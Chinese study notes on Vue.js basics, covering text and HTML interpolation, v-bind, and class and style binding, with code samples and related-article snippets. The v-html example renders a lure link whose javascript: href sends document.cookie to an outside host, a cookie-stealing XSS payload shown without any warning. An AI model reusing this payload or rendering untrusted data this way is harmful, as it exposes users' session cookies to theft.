当前位置： 首页 > news >正文

【前端】vue.js从入门到项目实战笔记

news 2025/11/6 4:19:56

文章目录

  • 第三章
    • 3.1 插值绑定（{{}}， v-html）
    • 3.1.1 文本插值
      • 3.1.2 HTML插值
    • 3.2 属性绑定 v-bind
      • 3.2.1 指令v-bind
      • 3.2.3 类名和样式绑定

【前端目录贴】

第三章

3.1 插值绑定（{{}}， v-html）

文本插值中的代码被解释为节点的文本内容，而HTML插值中的代码则被渲染为视图节点。

3.1.1 文本插值

文本插值的方式：用双大括号将要绑定的变量、值、表达式括住就可以实现，Vue将会获取计算后的值，并以文本的形式将其展示出来。

<div id="app"><h2>文本插值</h2><p><span class="profile">变量:</span> {{ num }}</p><p><span class="profile">表达式:</span> {{ 4 + 10 }}</p><p><span class="profile">三目运算符:</span> {{ true ? 15 : 10  }}</p><p><span class="profile">函数:</span> {{ getNum() }}</p><p><span class="profile">匿名函数:</span> {{ (() => 5 + 10)() }}</p><p><span class="profile">对象:</span> {{ {num: 15} }}</p><p><span class="profile">函数对象:</span> {{ getNum }}</p><p><span class="profile">html代码（表达式）:</span> {{ '<span>15</span>' }}</p><p><span class="profile">html代码（变量）:</span> {{ html }}</p>
</div>
<script>var vue=new Vue({el:"#app",data(){return {num:10,html:"<span>15</span>"};},methods:{getNum(){return this.num;}}});
</script>

结果：
在这里插入图片描述

3.1.2 HTML插值

<body><div id="demo"><div>{{blog}}</div><hr/><div v-html="blog">21312</div></div><script>new Vue({el:'#demo',data:{blog:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>'}})</script>
</body>

在这里插入图片描述

3.2 属性绑定 v-bind

3.2.1 指令v-bind

DOM节点的属性基本都可以用指令v-bind进行绑定.

<!-- 准备好一个容器 -->
<div id="demo"><h1 v-bind:class="className">Hello，尚硅谷</h1>
<!--    简写形式--><a  :href="hrefName">百度</a>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。className: "italic",hrefName: "https://baidu.com"}})
</script>

3.2.3 类名和样式绑定

类名实际由数组拼接而成
样式有对象键值对拼接而成
(虽然都可以用其他方式表示)

  • 表达类名: 字符串, 数组, 对象

说明:将类名作为对象键名,当键值被判定为真时,类名将被绑定到节点.
js中等价于false的表达: undefined ,null,0, 空字符串, [], {},-1, -0.1

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script><style>.color-gray{color: #b1191a;}.size-18{font-size: 18px;}.style-italic{font-style: italic;}</style>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  class="color-gray size-18 style-italic">Hello，尚硅谷</h1><h1 v-bind:class="classStr">Hello，尚硅谷</h1><h1 v-bind:class="classArr">Hello，尚硅谷</h1><h1 v-bind:class="classObj1">Hello，尚硅谷</h1><h1 v-bind:class="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color-gray size-18 style-italic",//拼接字符串classArr: ['color-gray','size-18', 'style-italic'],//数组classObj1: {//对象,绑定类名'color-gray':true,'size-18':true,'style-italic':true},classObj2: {//对象,未绑定类名'color-gray':false,'size-18':false,'style-italic':false}}})
</script>
</body>
</html>

在这里插入图片描述
在这里插入图片描述

  • 表达样式: 字符串, 对象 (不能用数组)
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script type="text/javascript" src="./vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="demo"><h1  style="color: gray; size:18px; font-style: italic">Hello，尚硅谷</h1><h1 v-bind:style="classStr">Hello，尚硅谷</h1><h1 v-bind:style="classArr">Hello，尚硅谷</h1><h1 v-bind:style="classObj1">Hello，尚硅谷</h1><h1 v-bind:style="classObj2">Hello，尚硅谷</h1>
</div>
<script>//创建Vue实例,传一个参数,(对象,叫做配置对象)new Vue({el: '#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。data: { data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。classStr: "color: gray; size:18px; font-style: italic",//拼接字符串classArr: ['color: gray','size:18px', 'font-style: italic'],//数组classObj1: {//对象,绑定类名'color':'gray','size':'18px','font-style':'italic'},classObj2: {//对象,未绑定类名'color':0?'gray':'','size':''?'18px':'','font-style':null?'italic':''}}})
</script>
</body>
</html>

在这里插入图片描述

相关文章：

【前端】vue.js从入门到项目实战笔记

文章目录 第三章3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09;3.1.1 文本插值3.1.2 HTML插值 3.2 属性绑定 v-bind3.2.1 指令v-bind3.2.3 类名和样式绑定 【前端目录贴】 第三章 3.1 插值绑定&#xff08;{{}}&#xff0c; v-html&#xff09; 文本插值中的代…...

编程日记 2024/1/18 17:50:26

flex布局（3）

九、骰子 *{margin:0;padding: 0;box-sizing: border-box; } .flex{display: flex;flex-flow: row wrap;justify-content: space-between;align-items: center;align-content: space-between;padding:20px; } .touzi{width: 120px;height: 120px;background-color: aliceblue;…...

编程日记 2024/1/18 17:49:25

JVM知识总结

1.概述 JVM指的是Java虚拟机&#xff0c;本质上是一个运行在计算机上的程序&#xff0c;他的职责是运行Java字节码文件&#xff0c;作用是为了支持跨平台特性。 功能&#xff1a; 装载字节码&#xff0c;解释/编译为机器码 管理数据存储和垃圾回收 优化热点代码提升效率 …...

编程日记 2024/1/18 17:48:24

读书笔记-《数据结构与算法》-摘要8[桶排序]

桶排序和归并排序有那么点点类似&#xff0c;也使用了归并的思想。大致步骤如下&#xff1a; 设置一个定量的数组当作空桶。Divide - 从待排序数组中取出元素&#xff0c;将元素按照一定的规则塞进对应的桶子去。对每个非空桶进行排序&#xff0c;通常可在塞元素入桶时进行插入…...

编程日记 2024/1/18 17:47:23

【STM32调试】寄存器调试不良问题记录持续版

STM32寄存器调试不良问题记录 NVIC&#xff08;内嵌的中断向量控制器&#xff09;EXTI&#xff08;外部中断/事件&#xff09; 记录一些stm32调试过程中&#xff1a;不易被理解、存在使用误区、不清不楚、是坑、使用常识等方面的一些记录。本记录只包含stm32的内核以及外设等寄…...

编程日记 2024/1/18 17:43:17

centos7 arm服务器编译升级安装动态库libstdc++.so.6，解决GLIBC和CXXABI版本低的问题

前言 由于centos7内置的libstdc.so.6版本太低&#xff0c;导致安装第三方包的时候&#xff0c;会报“CXXABI_1.3.8”不存在等问题。 自带的打印如下&#xff1a; strings /usr/lib64/libstdc.so.6 | grep GLIBC strings /usr/lib64/libstdc.so.6 | grep CXXABI 如图 升级 注…...

编程日记 2024/1/18 17:41:15

自动驾驶轨迹规划之碰撞检测（三）

欢迎大家关注我的B站&#xff1a; 偷吃薯片的Zheng同学的个人空间-偷吃薯片的Zheng同学个人主页-哔哩哔哩视频 (bilibili.com) 目录 1.基于圆覆盖 2.BVH 3.MATLAB自动驾驶工具箱 4 ROS内置的模型 自动驾驶轨迹规划之碰撞检测&#xff08;一&#xff09;-CSDN博客 自动驾…...

编程日记 2024/1/18 17:39:14

如何用pandas处理财报数据删除金融行业数据

要删除财报数据中的金融行业数据&#xff0c;您可以按照以下步骤使用pandas进行处理&#xff1a; 导入pandas库&#xff1a; import pandas as pd读取财报数据文件&#xff1a; df pd.read_csv(财报数据.csv)查看数据中的行业分类列&#xff1a; print(df[行业分类])确定金…...

编程日记 2024/1/18 17:37:12

oracle 19c容器数据库data dump数据泵传输数据（4）---网络传输

Transporting a Database Over the Network: Example 这个的方式导入可以不需要传输dmp文件&#xff0c;我原本是想从11g导入到pdb2的&#xff0c;但是因为版本的原因&#xff0c;就直接实验从pdb1导入到pdb2吧。 这种方式和前面完全传输的方式类似&#xff0c;不需要事先在目…...

编程日记 2024/1/18 17:35:10

IP 网络分为接入网、城域网和骨干网

根据前述的IP 网络设计思想&#xff0c;结合算力网络对 正网络的需求分析&#xff0c;卫网络的具体实现可以从架构设计利网络技术两个方面进行总体设计。 首先从架构设计上考虑&#xff0c;架构应尽量简化&#xff0c;做到“以简应繁”。因此&#xff0c;整体网络架构不宜设计…...

编程日记 2024/1/18 17:31:04

web3.0基本概念简析

web3.0概念简析 web3.0的发展史 web1.0 仅用于展示&#xff0c;无法进行点赞评论等交互 web2.0 不仅可以展示&#xff0c;还可以上传视频、图片等&#xff0c;用户可以参与创作内容并获取收益。但还是中心化的模型 缺点 1 机械化的人机验证 2 账户安全无法保证 多年未登陆…...

编程日记 2024/1/18 17:24:58

Linux/Traceback

Enumeration nmap 使用nmap初步扫描发现只开放了22和80端口&#xff0c;端口详细扫描情况如下 先看看web是什么样子的&#xff0c;打开网站发现有一条留言&#xff0c;显示该站点已经被黑了&#xff0c; 并且留下了后门 查看源代码&#xff0c;可以看到下面的注释 <!--So…...

编程日记 2024/1/18 17:22:56

陶瓷碗口缺口检测-图像分割

图像分割 由于对碗口进行缺口检测&#xff0c;因此只需要碗口的边界信息。得到陶瓷碗区域填充后的图像&#xff0c;对图像进行边缘检测。这是属于图像分割中的内容&#xff0c;在图像的边缘中&#xff0c;可以利用导数算子对数字图像求差分&#xff0c;将边缘提取出来。 本案…...

编程日记 2024/1/18 17:20:54

2023年第十四届蓝桥杯软件赛省赛总评

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周。 在QQ群上交流答疑&am…...

编程日记 2024/1/18 17:19:53

Redis面试大全

1、什么是Redis? Redis是完全开源免费的&#xff0c;遵守BSD协议&#xff0c;是一个高性能的key-value数据库。 Redis与其他key-value缓存产品有以下三个特点&#xff1a; Redis支持数据的持久化&#xff0c;可以将内存中的数据保存在磁盘中&#xff0c;重启的时候可以再次…...

编程日记 2024/1/18 17:17:50

MFC为资源对话框添加消息处理函数和初始化控件

现在我VC6新建了一个对话框工程&#xff1b;又在资源添加了一个新的对话框&#xff0c;并为新的对话框添加了名为CTestDlg的类&#xff1b; 在主对话框的cpp文件包含#include "TestDlg.h"&#xff1b; 在主对话框的cpp文件的OnInitDialog()成员函数中&#xff0c;添…...

编程日记 2024/1/18 17:16:49

7.6 MySQL基本函数的使用(❤❤❤)

7.6 MySQL基本函数的使用 1. 提要2. 数字函数3. 字符函数3.1 替换字符3.2 左填充字符及截取字符串 4. 日期函数4.1 日期函数4.2 表达式占位符4.3 日期偏移计算4.4 日期间隔 5. 条件函数5.1 IF语句5.2 case...when语句 1. 提要 2. 数字函数 3. 字符函数 3.1 替换字符 -- INSERT…...

编程日记 2024/1/18 17:04:35

《Redis:NoSQL演进之路与Redis深度实践解析》

文章目录 关于NoSQL为什么引入NoSQL1、单机MySQL单机年代的数据库瓶颈 2、Memcached&#xff08;缓存&#xff09; MySQL 垂直拆分 &#xff08;读写分离&#xff09;3、分库分表水平拆分MySQL集群4、如今的网络架构5、总结 NoSQL的定义NoSQL的分类 Redis入门Redis能干嘛&…...

编程日记 2024/1/18 16:59:30

npm依赖库备份

常用命令 设置默认使用本地缓存安装Nodejs时会自动安装npm&#xff0c;但是局路径是C:\Users\Caffrey\AppData\Roaming\npm默认的缓存路径是C:\Users\Caffrey\AppData\Roaming\npm-cache&#xff1b;查看npm的prefix和cache路径配置信息设置路径 设置默认使用本地缓存 npm con…...

编程日记 2024/1/18 16:58:29

Python进程池multiprocessing.Pool

环境&#xff1a; 鲲鹏920:192核心 内存&#xff1a;756G python&#xff1a;3.9 python单进程的耗时 在做单纯的cpu计算的场景&#xff0c;使用单进程核多进程的耗时做如下测试&#xff1a; 单进程情况下cpu的占用了如下&#xff0c;占用一半的核心数&#xff1a; 每一步…...

编程日记 2024/1/18 16:54:24

Python｜GIF 解析与构建（5）：手搓截屏和帧率控制

目录 Python&#xff5c;GIF 解析与构建&#xff08;5&#xff09;&#xff1a;手搓截屏和帧率控制 一、引言 二、技术实现&#xff1a;手搓截屏模块 2.1 核心原理 2.2 代码解析&#xff1a;ScreenshotData类 2.2.1 截图函数&#xff1a;capture_screen 三、技术实现&…...

编程新知 2025/9/19 8:02:57

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

编程新知 2025/9/23 9:00:33

React第五十七节 Router中RouterProvider使用详解及注意事项

前言 在 React Router v6.4 中&#xff0c;RouterProvider 是一个核心组件&#xff0c;用于提供基于数据路由&#xff08;data routers&#xff09;的新型路由方案。 它替代了传统的 <BrowserRouter>&#xff0c;支持更强大的数据加载和操作功能&#xff08;如 loader 和…...

编程新知 2025/11/5 19:28:37

深入理解JavaScript设计模式之单例模式

目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式&#xff08;Singleton Pattern&#…...

编程新知 2025/11/4 19:26:39

Docker 本地安装 mysql 数据库

Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker &#xff1b;并安装。 基础操作不再赘述。 打开 macOS 终端&#xff0c;开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...

编程新知 2025/10/26 5:43:27

Oracle11g安装包

Oracle 11g安装包 适用于windows系统&#xff0c;64位 下载路径 oracle 11g 安装包...

编程新知 2025/9/13 16:14:04

stm32wle5 lpuart DMA数据不接收

配置波特率9600时&#xff0c;需要使用外部低速晶振...

编程新知 2025/10/22 22:16:11

Linux中《基础IO》详细介绍

目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改&#xff0c;实现简单cat命令 输出信息到显示器&#xff0c;你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...

编程新知 2025/10/12 8:34:10

Modbus RTU与Modbus TCP详解指南

目录 1. Modbus协议基础 1.1 什么是Modbus？ 1.2 Modbus协议历史 1.3 Modbus协议族 1.4 Modbus通信模型 🎭 主从架构 🔄 请求响应模式 2. Modbus RTU详解 2.1 RTU是什么？ 2.2 RTU物理层 🔌 连接方式 ⚡ 通信参数 2.3 RTU数据帧格式 📦 帧结构详解 🔍…...

编程新知 2025/9/10 17:50:53

【记录坑点问题】IDEA运行：maven-resources-production:XX: OOM: Java heap space

问题&#xff1a;IDEA出现maven-resources-production:operation-service: java.lang.OutOfMemoryError: Java heap space 解决方案&#xff1a;将编译的堆内存增加一点 位置&#xff1a;设置setting-》构建菜单build-》编译器Complier...

编程新知 2025/11/2 20:10:11